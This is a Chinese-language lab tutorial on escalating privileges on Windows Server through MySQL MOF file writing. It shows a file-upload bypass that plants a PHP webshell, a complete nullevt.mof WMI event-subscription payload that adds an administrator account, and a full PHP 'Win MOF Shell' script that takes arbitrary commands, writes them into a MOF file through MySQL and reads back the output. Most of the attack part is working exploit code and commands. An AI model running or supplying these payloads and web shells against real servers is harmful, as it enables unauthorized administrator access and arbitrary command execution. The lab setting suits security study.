我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
1、mof提权原理:2、mof提权限制:3、mof提权过程:(1)实验环境:(2)靶机链接:(3)实验过程:附:上传mof.php脚本,自动写入mof文件1、mof提权原理:
mof是windows系统的一个文件,存储在c:/windows/system32/wbem/mof/nullevt.mof
,叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。然而提权的原理就是在拥有了mysql的root权限以后(其实就是获得了MySQL的启动身份),然后使用该权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs脚本段大多数写的是cmd的添加管理员用户的命令。
2、mof提权限制:
(1)操作系统版本:Windows Server 及以下版本;
(2)有MySQL数据库的连接数据;
(3)MySQL的配置文件my.ini中的secure-file-priv参数要为空(这个空不是NULL);
(4)MySQL启动身份具有权限去读写c:/windows/system32/wbem/mof目录;
如下所图所示,在靶机设置MySQL启动用户可以对mof文件夹进行完全控制:
3、mof提权过程:
(1)实验环境:
1.靶机环境:(1)虚拟机WindowsServer【】【192.168.97.132】(2)脚本语言环境:php/asp语言环境存在2.攻击机:(1)虚拟机Win7【192.168.97.130】(2)Firefox+Burpsuite+蚁剑+大马3.网络环境:(1)VMware搭建的NAT网络
(2)靶机链接:
URL:/upload_4.php
(3)实验过程:
第一步:访问靶机链接,通过MIME类型突破白名单限制,上传php一句话,蚁剑连接。
【图略】【假设此时获得了数据库的连接数据:root/zkeys】
第二步:通过蚁剑连接数据库root/zkeys
第三步:查看当前用户、查看secure-file-priv参数是否为空
第四步:上传nullevt.mof文件到靶机的c:\recycler文件夹下,然后写入到c:/windows/system32/wbem/mof/nullevt.mof文件夹下
nullevt.mof
文件如下所示,第十八行是我们要执行的系统命令,第九行是5秒执行一次该文件。
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer {Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test01 123 /add\")\nWSH.run(\"net.exe localgroup administrators test01 /add\")"; }; instance of __FilterToConsumerBinding {Consumer = $Consumer; Filter = $EventFilter; };
如下图所示,成功上传nullevt.mof文件到C:/RECYCLER目录下:
如下图所示,写入文件失败:
如下图所示,我们需要在靶机设置mof文件夹的权限,也就是给MySQL的启动用户赋予完全控制mof文件夹以及子文件夹的权限:
如下图所示,再次写入,成功!!!
如下图所示,在靶机上检查,发现mof文件实则写入到了mof文件夹下的good目录下,且也成功的创建了test01管理员组用户:
附:上传mof.php脚本,自动写入mof文件
mof.php
脚本如下所示,该脚本功能是接收用户传来的cmd命令后再写入qwsn.mof到靶机的c:\windows\system32\wbem\mof文件夹下:其中第一行是成功执行命令的标志、第五十二行是我们写入到靶机mof文件夹下的mof文件名、第四十行是我们input输入框输入的cmd命令。。。。。。。。。。。。
<?php$path="c:/windows/system32/correct";session_start();if(!empty($_POST['submit'])){setcookie("connect");setcookie("connect[host]",$_POST['host']);setcookie("connect[user]",$_POST['user']);setcookie("connect[pass]",$_POST['pass']);setcookie("connect[dbname]",$_POST['dbname']);echo "<script>location.href='?action=connect'</script>";}if(empty($_GET["action"])){?><html><head><title>Win MOF Shell</title></head><body><form action="?action=connect" method="post">Host:<input type="text" name="host" value="127.0.0.1"><br/>User:<input type="text" name="user" value="root"><br/>Pass:<input type="password" name="pass" value=""><br/>DB:<input type="text" name="dbname" value="mysql"><br/><input type="submit" name="submit" value="Go Go Go"><br/></form></body></html><?phpexit;}if ($_GET[action]=='connect'){$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('<pre>'.mysql_error().'</pre>');echo "<form action='' method='post'>";echo "CMD命令:";echo "<input type='text' name='cmd' value='$strCmd'?>";echo "<br>";echo "<br>";echo "<input type='submit' value='填写CMD后Exploit'>";echo "</form>";echo "<form action='' method='post'>";echo "<input type='hidden' name='flag' value='flag'>";echo "<input type='submit'value=' Check '>";echo "</form>";if (isset($_POST['cmd'])){$strCmd=$_POST['cmd'];$cmdshell='cmd /c '.$strCmd.'>'.$path;$mofname="c:/windows/system32/wbem/mof/qwsn.mof";$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\")instance of __EventFilter as \$EventFilter{EventNamespace = \"Root\\\\\\\\Cimv2\";Name = \"filtP2\";Query = \"Select * From __InstanceModificationEvent \"\"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \"\"And TargetInstance.Second = 5\";QueryLanguage = \"WQL\";};instance of ActiveScriptEventConsumer as \$Consumer{Name = \"consPCSV2\";ScriptingEngine = \"JScript\";ScriptText =\"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\";};instance of __FilterToConsumerBinding{Consumer = \$Consumer;Filter = \$EventFilter;};";mysql_select_db($_COOKIE["connect"]["dbname"],$conn);$sql1="select '$payload' into dumpfile '$mofname';";if(mysql_query($sql1))echo "<hr>Execute Successful!<br> Please click the Check button to check the result!!<br>If the result is not correct,try check again later<br><hr>"; else die(mysql_error());mysql_close($conn);}if(isset($_POST['flag'])){$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('<pre>'.mysql_error().'</pre>');$sql2="select load_file(\"".$path."\");";$result2=mysql_query($sql2);$num=mysql_num_rows($result2);while ($row = mysql_fetch_array($result2, MYSQL_NUM)) {echo "<hr/>";echo '<pre>'. $row[0].'</pre>';}mysql_close($conn);}}?>
第一步:上传mof.php文件到文件上传upfile目录下:
第二步:访问我们刚刚上传的mof.php脚本,填写数据库连接数据,然后点击Go进入。
第三步:在mof.php脚本页面,通过form表单传入我们要执行的命令,然后点击Exploit写入qwsn.mof到靶机的c:\windows\system32\wbem\mof文件夹下,最后点击Check检查是否成功的执行命令。
如下图所示,我们填写好CMD命令:net.exe user test02 123 /add && net.exe localgroup administrators test02 /add
如下图所示,点击Exploit按钮后,提示成功写入mof文件:
如下图所示,等待5s后,点击Check按钮,显示命令成功完成:
如下图所示,我们在靶机上检查,发现qwsn.mof成功写入,并且test02管理员组用户成功创建: